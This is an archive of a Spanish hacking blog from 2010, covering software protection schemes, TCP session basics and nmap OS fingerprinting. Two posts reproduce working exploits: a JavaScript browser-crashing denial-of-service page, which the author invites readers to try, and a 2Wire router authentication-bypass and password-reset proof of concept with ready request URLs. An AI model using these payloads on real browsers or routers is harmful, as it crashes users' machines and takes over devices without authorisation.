Archive for the ‘Hacking’ Category

Programas Incompletos

Sunday, August 29th, 2010

Una forma más de evitar la violación de los programas es retirar la parte de la aplicación (estracto de código) que pudiera verse comprometido. Este es el caso de las aplicaciones limitadas, como las ya famosas express de Microsoft.

El usuario registrado normalmente se le otorga la versión final del programa, lo que involucra tener un sistema antocopia bastante complejo para evitar la difusión del mismo. NO es tan buena  la solución como parece, ya que muchos programadores han perdido mucho dinero gracias a este mecanismo.

Cifrado

Sunday, July 25th, 2010

Consiste en emplear datos cifrados para descifrarlos posteriormente dando un número de registro (contraseña, por ejemplo) sobre el cual no se hace ninguna comprobación, tampoco sobre la clave del descifrado (aquí el problema). La forma de evadir esta protección es un ataque masivo, lo que , dando por hecho que se aplicón un buen algoritmo de cifrado, sería casi imposible superarlo. Si el programa usa un algoritmo de encripatción RSA y un código a 2048 bits quedará sumamente protegido, incluso a identidades de gobierno.

La debilidad del método descrito se basa en algo muy sencillo, encontrando la clave una clave válida en Internet o siendo proporcionada por alguna persona que haya adquirido el programa original.

echo $SALUDOS;

Tipos de protección en el software

Sunday, July 25th, 2010

Hoy, anduve husmeando en la madrugada para que me diera un poco de sueño, y aprendí algunas cosas que ya medio me las sabía, pero como tal no las había ordenado en mi cerebro. Tipos de protección de software, el como los programadores se las ingenian para proteger el mayor tiempo posible sus versiones de software. Como se imaginan, no hay protección que sea irrompible, pero si las que son más complicadas y eso hace que las empresas ganen tiempo para obtener ganancias.

Tipos:

Duración limitada

Número limitado de ejecuciones

Número de registro usuario-número de serie

Fichero clave

Programa limitado

Clave hardware (aka dongle)

Comprobación de presencia del CD

Portección contra copia del CD

Protección comercial

Compresores y codificadores para PE

Mas adelante iré poniendo un poc la descripción de cada uno de ellos y ejemplos donde puedan ver que chingados pasa con cada tipo de protección.

echo $SALUDOS;

Conceptos Básicos (Session Attack)

Sunday, May 16th, 2010

Con este post haré entrega de los conceptos básicos para entender a partir de ahora los conceptos usados para la práctica de un asalto a una sesión TCP.

Sesión TCP

El objetivo de una sesión TCP es coordinar múltiples conexiones TCP concurrentes entre un par de host. Una aplicación típica de una sesión TCP es la coordinación entre conexiones TCP concurrentes y un servidor web o de aplicaciones y un cliente, en donde las conexiones corresponden a componentes del sito web.

Una sesión TCP se identifica por una tupla con los datos del cliente y el servidor>

tupla: {ip-cliente, ip-servidor, puerto-cliente, puerto-servidor}

Paquete. Es en sí la información que viaja entre dos host. Los paquetes son de capa de transporte según el modelo de referencia OSI. Los paquetes de bits que constituyen las unidades de datos de protocolo TCP se llaman “segmentos“.

Hablando de paquetes, un paquete contiene el puerto origen y el puerto destino. También contiene un número de secuencia de 32 bits que identifica el flujo de cada octeto de datos, dicho número va de 0 a 232-1. Cuando se establece una sesión entre dos host, estos intercambian números de secuencia, para efectos de un session attack explicaré la impostancia de estos números y la selección del número inicial.

TCP Header Format

    0                   1                   2                   3
    0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |          Source Port          |       Destination Port        |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |                        Sequence Number                        |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |                    Acknowledgment Number                      |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |  Data |           |U|A|P|R|S|F|                               |
   | Offset| Reserved  |R|C|S|S|Y|I|            Window             |
   |       |           |G|K|H|T|N|N|                               |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |           Checksum            |         Urgent Pointer        |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |                    Options                    |    Padding    |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |                             data                              |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

Sobre los demás campos del paquete cabe resaltar que las banderas que son 6 bits de control se utilizan de izquierda a derecha para indicar: URG (paquete urgente), ACK (confirmación de recibido el anterior paquete), PSH (el paquete contiene datos), RST (resetea la conexión), SYN (sincroniza el número secuencia) y FIN (no vienen más dato del emisor)

Una sesión TCP empieza por una sincronización entre el cliente y el servidor. Esta sincronización se conoce como el three way handshake que hace para que los dos hosts, entre los cuales se va hacer la conexión, sepan la especificación de la otra y su configuración para manejar las sesiones. Veámos un pequeño ejemplo>

Host A

Host B

1. A->B SYN (Mi número de secuencia es X)

2. A<-B ACK (Su número de secuncia es X)

3. A<-B SYN (Mi número de secuencia es Y)

4. A->B ACK (Sú número de secuencia es Y)

Capa de Transporte (Modelo OSI)

Para conectar dos dispositivos remotos es necesarios establecer una conexión. La capa de trasnporte establece las reglas de conexión. Permite que los host ensamblen y reensamblen múltiples segmentos del mismo flujo de datos. Estos se pueden hacer a través de identificadores conocidos en TCP/IP como números de puerto. Soporta que las aplicaciones establezcan conexiones seguras. Aegura que los segmentos distribuidos serán confirmados por el remitente, reenvia el segmento que no haya sido confirmado, coloca los segmenos en el orden correcto en el host receptor.

Creo que en el siguiente post comentaré acerca de las 7 capas del modelo OSI.

Por ahora doy como entendido que he explicado los conceptos básicos que utilizaremos, muy probablemente vayan saliendo más, por tanto podría haber futuras versiones o extensiones de este post.

Referencia>

http://freesoft.org/CIE/Course/Section4/8.htm

http://es.wikipedia.org/wiki/Transmission_Control_Protocol

“Computación Forense, Descubrimiento de rastros infromáticos”, Jeimy J. Cano, Alfaomega

TCP Header Format

    0                   1                   2                   3
    0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |          Source Port          |       Destination Port        |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |                        Sequence Number                        |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |                    Acknowledgment Number                      |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |  Data |           |U|A|P|R|S|F|                               |
   | Offset| Reserved  |R|C|S|S|Y|I|            Window             |
   |       |           |G|K|H|T|N|N|                               |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |           Checksum            |         Urgent Pointer        |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |                    Options                    |    Padding    |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |                             data                              |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

Remote os detection via tcp ip stack fingerprinting

Thursday, May 6th, 2010

Creo que ya es justo publicar algo de informática, ya que últimamente me concentrado más en la novela y en la literatura que en otra cosa. Hoy me han dado ganas de publicar un session attack, pero por falta de tiempo no podré explicar, debido a eso lo intentaré ir explicando en diversos post posteriores a éste. Lo primero que considero tenemos que hacer es obtener el sistema operativo objetivo, una de las técnicas que puedo decir es remote OS detection via tcp ip stack fingerprinting, aclaro que hay muchas formas de obtener el sistema operativo remoto. La siguiente pregunta obligada es>

¿Qué demonios es remote OS detection via tcp ip stack fingerprinting?

En términos sencillos, es una metodología de huellas de las computadoras basado en el comportamiento de protocolos, como TCP o ICMP, que a final de cuentas nos ayudarán a determinar que tipo de sistema operativo está ejecutandose remotamente. Importante saber eso, ya que a partir de eso podemos explotar vulnerabilidades conocidas o no tan conocidas jajaja.

NMAP es una poderosa herramienta que permite, además de su escaneo de puertos, el stack fingerprinting, una de las formas es>

#nmap -O -v «IP|DNS»

Tendrían una salida similar a la siguiente>

filemona:/home/lyonn# nmap -O -v 127.0.0.1

Starting Nmap 4.62 ( http://nmap.org ) at 2010-05-06 23:12 CDT
Initiating SYN Stealth Scan at 23:12
Scanning filemona (127.0.0.1) [1715 ports]
Discovered open port 7634/tcp on 127.0.0.1
Discovered open port 631/tcp on 127.0.0.1
Discovered open port 111/tcp on 127.0.0.1
Completed SYN Stealth Scan at 23:12, 0.07s elapsed (1715 total ports)
Initiating OS detection (try #1) against filemona (127.0.0.1)
Host filemona (127.0.0.1) appears to be up … good.
Interesting ports on filemona (127.0.0.1):
Not shown: 1712 closed ports
PORT     STATE SERVICE
111/tcp  open  rpcbind
631/tcp  open  ipp
7634/tcp open  hddtemp
Device type: general purpose
Running: Linux 2.6.X
OS details: Linux 2.6.17 – 2.6.24
Uptime: 0.091 days (since Thu May  6 21:01:26 2010)
Network Distance: 0 hops
TCP Sequence Prediction: Difficulty=204 (Good luck!)
IP ID Sequence Generation: All zeros

Read data files from: /usr/share/nmap
OS detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1.868 seconds
Raw packets sent: 1734 (77.058KB) | Rcvd: 3474 (147.092KB)

Con eso ya quedó la primer parte, la detección del sistema operativo, así que por el momento estamos cumpliendo con el objetivo.

Otra manera y más sencilla, pero menos efectiva, que se me ocurre es con un simple ping, ya que el flag TTL nos dirá qu SO es, el problema es si el SO no está en la tablita de TTLs que se busquen xD

lyonn@filemona:~$ ping 127.0.0.1
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.029 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.029 ms

Referencia extra para que pueda indagar un poco más acerca del tema >

http://nmap.org/nmap-fingerprinting-article.txt

http://en.wikipedia.org/wiki/TCP/IP_stack_fingerprinting

http://en.wikipedia.org/wiki/Time_to_live

http://nmap.org/

Unicode Stack Over Flow

Saturday, February 6th, 2010

#Hola

Hoy mientras me divertia en una clase de planeación de proyectos me di una vuelta en http://milw0rm.com/ esperando consumir tres horas. Entre la cantidad de monadas que este sitio posee me di el tiempo a buscar un unicode stack overflow, el cual en pocas palabras y vulgarmente decimos que apendeja primero el browser y después la PC ya que consume el procesador.

No encuentro un gran chiste en el siguiente código, es decir, no es la gran ciencia, veo que lo central es hacer un blucle muy muy largo.

El código funcionaba con firefox (como se indica) y sus derivados (en mi caso con iceweasel y arora) pero con una pequeña modificación que hice me funcionó más ojetamente con chrome jejejejeje.

Siendo sincero, no soy muy apegado a este tipo de cosas, ya que no se me hace muy complejo el crear este tipo de cosas, aunque espero que haya cosas más complejas y tenga la fortuna de poder trabajar con esas cosas.

Les dejo el código:

——————————————->
Firefox 3.5 unicode stack overflow
Google Chrom 4.0.249.43 unicode stack overflow

Andrew Haynes , Simon Berry-Byrne, Rodrigo Ramos

——————————————->

<html>
<head>
<script language=”JavaScript” type=”Text/Javascript”>
//The unescape() function decodes an encoded string.
var str = unescape(“E240001″);
var str2 = unescape(“E240002″);
var finalstr2 = mul8(str2, 49000000);
var finalstr = mul8(str,   21000000);

document.write(finalstr2);
document.write(finalstr);

function mul8 (str, num) {
var    i = Math.ceil(Math.log(num) / Math.LN2),
res = str;
do {
res += res;
} while (0 < –i);

//The slice() method selects a part of an array, and returns the new array
return res.slice(0, str.length * num);
}
</script>
</head>
<body>
</body>
</html>
<html><body></body></html>

# milw0rm.com [2009-07-15]
#lyonn.blominente.com

Espero que les haga sentido un rato probar este tipo de cosas y si alguien tiene un código mejor elaborado se lo agradecería :P

echo $SALUDOS;

Resetear password 2wire

Tuesday, February 2nd, 2010

#Hola

Este fin de semana estudiando estadística (no me pregunten como fue que llegué…) revisé un sitio donde una persona explica una forma de resetear el password de los 2wire. Solo es posible con algunas versiones de firmeware (como mi 2wire =) ). 2wire es un modem  (¿Router?)ADSL común en México, en específico con el ISP Telmex.

Realmente es una forma muy sencilla, consiste en la cantidad de caracteres enviados a dos parámetros de la administración web.

Dejo el contenido del archivo que econtré, tanto para no perder la integridad como para respetar la autoría de quienes lo hicieron.

2WIRE GATEWAY AUTHENTICATION BYPASS Y PASSWORD RESET (08/04/09)
==============================================================

DESCRIPCION
—————–
Existe una vulnerabilidad de bypass de autenticacion en page=CD35_SETUP_01
que permite poner un nuevo password a pesar de ya tener un password puesto.

Si se introduce un password de mas de 512 caracteres el password se elimina
y la proxima vez que se acceda al modem se pedira que se introduzca un nuevo
password.

VULNERABLE
—————-
2Wire 2071 Gateway
2Wire 1800HW
2Wire 1701HG

Firmware
5.29.51
3.17.5
3.7.1

NO VULNERABLE
——————-
Firmware
5.29.135.5 o superior

DISCLOSURE TIMELINE
————————-
03/27/2009 – 2wire Contactado
respuesta no satisfactoria
07/11/2009 – Envie los detalles completos a 2wire
ninguna respuesta
07/17/2009 – Envie el advisory y video demos a 2wire
subio el ticket a “escalated” pero ninguna respuesta
08/02/2009 – Lo hice publico en Defcon 17

EXPLOIT/POC
—————–
Authentication Bypass – usa esta pagina para poner un nuevo password

http://gateway.2wire.net?xslt?page=CD35_SETUP_01

Video: http://www.hakim.ws/2wire/2wire_CD35_Bypass.ogv

Password Reset – usa la misma pagina pero con un password de > 512 caracteres

http://gateway.2wire.net/xslt?PAGE=CD35_SETUP_01_POST&password1=hkmhkmhkmhkmhkm

hkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmh
kmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhk
mhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkm
hkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmh
kmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhk
mhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkh
kmhkmhkmhkmhkmhkmhkmhkm&password2=hkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkm
hkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmh
kmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhk
mhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkm
hkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmh
kmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhk
mhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkhkmhkmhkmhkmhkmhkmhkmhkm

Video: http://www.hakim.ws/2wire/2wire_CD35_Reset.ogv

GREETS
————
sdc lightos pcp nitr0us 0xf alt3kx darko DeadSector Etal gwolf h4ckult1m4t3
hackerss hd k00l kaz Kbrown mendozaaaa nahual Napa nediam raza-mexicana
roa octalh Setting sla.ckers thornmaker tr3w vandida vi0let xianur0 Yield

Comunidad Underground de Mexico : https://www.underground.org.mx

h k m

http://www.hakim.ws

echo $SALUDOS;